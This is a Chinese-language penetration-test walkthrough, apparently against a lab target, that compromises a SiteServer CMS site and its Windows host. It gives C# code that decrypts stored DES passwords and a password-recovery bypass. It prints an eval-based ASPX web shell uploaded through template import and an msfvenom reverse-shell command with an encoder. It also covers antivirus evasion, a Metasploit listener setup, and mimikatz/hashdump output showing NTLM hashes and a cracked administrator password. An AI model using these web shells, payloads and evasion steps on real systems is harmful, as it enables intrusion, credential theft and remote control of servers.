反编译.net dll 文件
反编译 dll 主要用来查看网站的源码,这里主要是找到用户的加密方法。
使用dnspy工具(dnSpy是一款net程序反编译工具,可以对net程序进行反编译)进行反编译dll
文件
慢慢寻找加密方式
密文的加密方式是 desc 对称加密

上面加密,下面解密
public void DesDecrypt()
{
byte[] rgbIV = new byte[]
{
18,
52,
86,
120,
144,
171,
205,
239
};
byte[] array = new byte[this.x3c811436980dcf17.Length];
try
{
byte[] bytes = Encoding.UTF8.GetBytes(this.x6d0b493f217f133b.Substring(0, 8));
DESCryptoServiceProvider descryptoServiceProvider = new DESCryptoServiceProvider();
array = Convert.FromBase64String(this.x3c811436980dcf17);
MemoryStream memoryStream = new MemoryStream();
if (!false)
{
}
CryptoStream cryptoStream = new CryptoStream(memoryStream, descryptoServiceProvider.CreateDecryptor(bytes, rgbIV), CryptoStreamMode.Write);
cryptoStream.Write(array, 0, array.Length);
cryptoStream.FlushFinalBlock();
Encoding encoding = new UTF8Encoding();
this.xc7d800b8a71773fd = encoding.GetString(memoryStream.ToArray());
}
catch (Exception ex)
{
this.x456956327593d9f6 = ex.Message;
}
}
编写 c# siteserver 密文解密工具
在 dnSpy 存在解密源码 DesDecrypt 方法,增加空间修改后的源码
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.IO;
using System.Linq;
using System.Security.Cryptography;
using System.Text;
using System.Windows.Forms;
namespace siteserver 明文解密工具
{
public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();
}
public void DesDecrypt()
{
byte[] rgbIV = new byte[]
{
18,
52,
86,
120,
144,
171,
205,
239
};
byte[] array = new byte[this.textBox1.Text.Length];
try
{
byte[] bytes = Encoding.UTF8.GetBytes(this.textBox2.Text.Substring(0,8));
DESCryptoServiceProvider descryptoServiceProvider = new
DESCryptoServiceProvider();
array = Convert.FromBase64String(this.textBox1.Text);
MemoryStream memoryStream = new MemoryStream();
if (!false) {}
CryptoStream cryptoStream = new CryptoStream(memoryStream,
descryptoServiceProvider.CreateDecryptor(bytes, rgbIV), CryptoStreamMode.Write);
cryptoStream.Write(array, 0, array.Length);
cryptoStream.FlushFinalBlock();
Encoding encoding = new UTF8Encoding();
this.textBox3.Text = encoding.GetString(memoryStream.ToArray());
}
catch (Exception ex)
{
this.textBox4.Text = ex.Message;
}
}
private void button1_Click(object sender, EventArgs e)
{
DesDecrypt();
}
}
}
解密之后:

找回密码漏洞
反编译是建立在你有dll
文件的情况下,显然在黑盒测试下,没有组件。但是网站有漏洞—–找回密码
只要把回答为空即可有明文密码
我们已经知道了用户名为admin,回答问题答案框中随便写
将其删除,放行
就能顺利找到密码
返回页面登录,顺利进入后台
siteserver 后台 getshell
跳转到此目录下
有个导入网站模板,要传压缩包。那么我们可以写一句话木马再转成压缩包传进去。
我们在靶机上找到了这个木马文件,位于C:\HwsHostMaster\wwwroot\moonlab_qagjt0\web\SiteFiles\SiteTemplates
它已经自动加压好了
木马内容:
<%@ Page Language="Jscript"%>
<%
var a = Request.Item["c32as"];
a = a.Replace("moonmoonmoonmm","Response.Write");
eval(a,"unsafe");
%>
然后我们访问http://www.moonlab.com/sitefiles/sitetemplates/c32as/c32as.aspx,连上过狗刀,即可获得cmd控制权
Windows Server 提权
直接查看当前用户 名字 和 ip 信息 进程 服务器 收集安全防护软件信息等等
获得必要信息
知道存在的防护软件
存在的防护软件
iis 安全狗
服务器安全狗
windows firewall
windows defender
msf shellcode 绕过 windows defender 查杀
- msf 生成 payload
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.221.132 LPORT=2333 -e x86/shikata_ga_nai -i 20 -f csharp -o payload.txt
- shellcode 免杀过 defender
已经生成了payload,现在需要一个加载器
这里使用掩日进行免杀:https://github.com/dayuxiyou/AV_Evasion_Tool/tags
需要用VS进行重新生成
VS打开

找到生成的exe程序,打开,将kali生成的payload粘进去,生成exe木马

kali开始监听:
- 打开msf,设置监听
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.221.132
set lport 2333
exploit -j
进入meterpreter
时,可以端口迁移(这样不容易掉),迁移到没用的端口
migrate ****(port)
收集 hash 明文
在 msf load mimikatz
(无法获取明文),使用其命令:kerberos
单只能获取User,用户名,无法获取密码(乱码)
hash 允许获取,直接hashdump
收集到的信息:
Administrator:500:aad3b435b51404eeaad3b435b51404ee:e7114141b0337bdce1aedf5
594706205:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c5
9d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c08
9c0:::
huweishen166644:1004:aad3b435b51404eeaad3b435b51404ee:93a50f03c4bc595796
05ee0c1937401a:::
moonlab:1010:aad3b435b51404eeaad3b435b51404ee:16607206dae8e7ac67ccbbce40
363686:::
MySQL_HWS:1001:aad3b435b51404eeaad3b435b51404ee:c5bf79ff3e413dd56c626
aaed26431bb:::
PhpMyAdmin_HWS:1002:aad3b435b51404eeaad3b435b51404ee:8ad7000c1e43783
39c86952dd7dc23e1:::
直接到cmd5网站进行解密
IP 192.168.124.12 10.10.1.131
账号信息 Administrator r !@#QWE123